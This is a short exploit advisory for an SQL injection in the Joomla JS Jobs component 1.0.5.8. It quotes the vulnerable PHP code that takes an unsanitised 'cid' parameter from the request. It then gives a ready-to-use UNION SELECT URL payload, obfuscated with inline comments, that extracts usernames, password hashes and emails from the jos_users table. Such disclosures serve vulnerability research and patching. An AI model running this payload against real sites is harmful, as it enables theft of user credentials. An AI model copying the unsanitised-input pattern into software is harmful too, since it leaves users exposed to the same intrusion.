Joomla! Component JS Jobs 1.0.5.8 - SQL Injection

# Exploit Title:	Joomla Component com_jsjobs SQL Injection Vulnerability

#Date:			31/05/10 

#Author:		http://www.joomsky.com

#Software Link:		http://www.joomsky.com/index.php?option=com_rokdownloads&view=file&task=download&id=23%3Ajs-jobs&Itemid=4

#Version:		1.0.5.8

#Tested on:		Linux ubuntu32 2.6.32-22-generic x64

#Summary:

On administrator/components/com_jsjobs/views/application/view.html.php file we can find this segment code on line 53:

if ($cur_layout == 'categories'){							
			if (isset($_GET['cid'][0])) 	$c_id= $_GET['cid'][0];	//o0ps..possible SQL Injection }:)		
			else $c_id='';	
			
			if ($c_id == ''){
				$cids = JRequest :: getVar('cid', array (0), 'post', 'array');
				$c_id= $cids[0];				
			}

		...	//conditional check some values with elseifs...
}

This check 
	if (isset($_GET['cid'][0])) 	$c_id= $_GET['cid'][0];
open SQLi posibilities for get sense information from servers databases. Some like this:

[+]EXPLOIT:
http://localhost/joomla/administrator/index.php?option=com_jsjobs&task=edit&cid[]=-69/*!union/**/select/**/1,2,3,group_concat%28username,0x3a,password,0x3a,email%29/**/from/**/jos_users*/--


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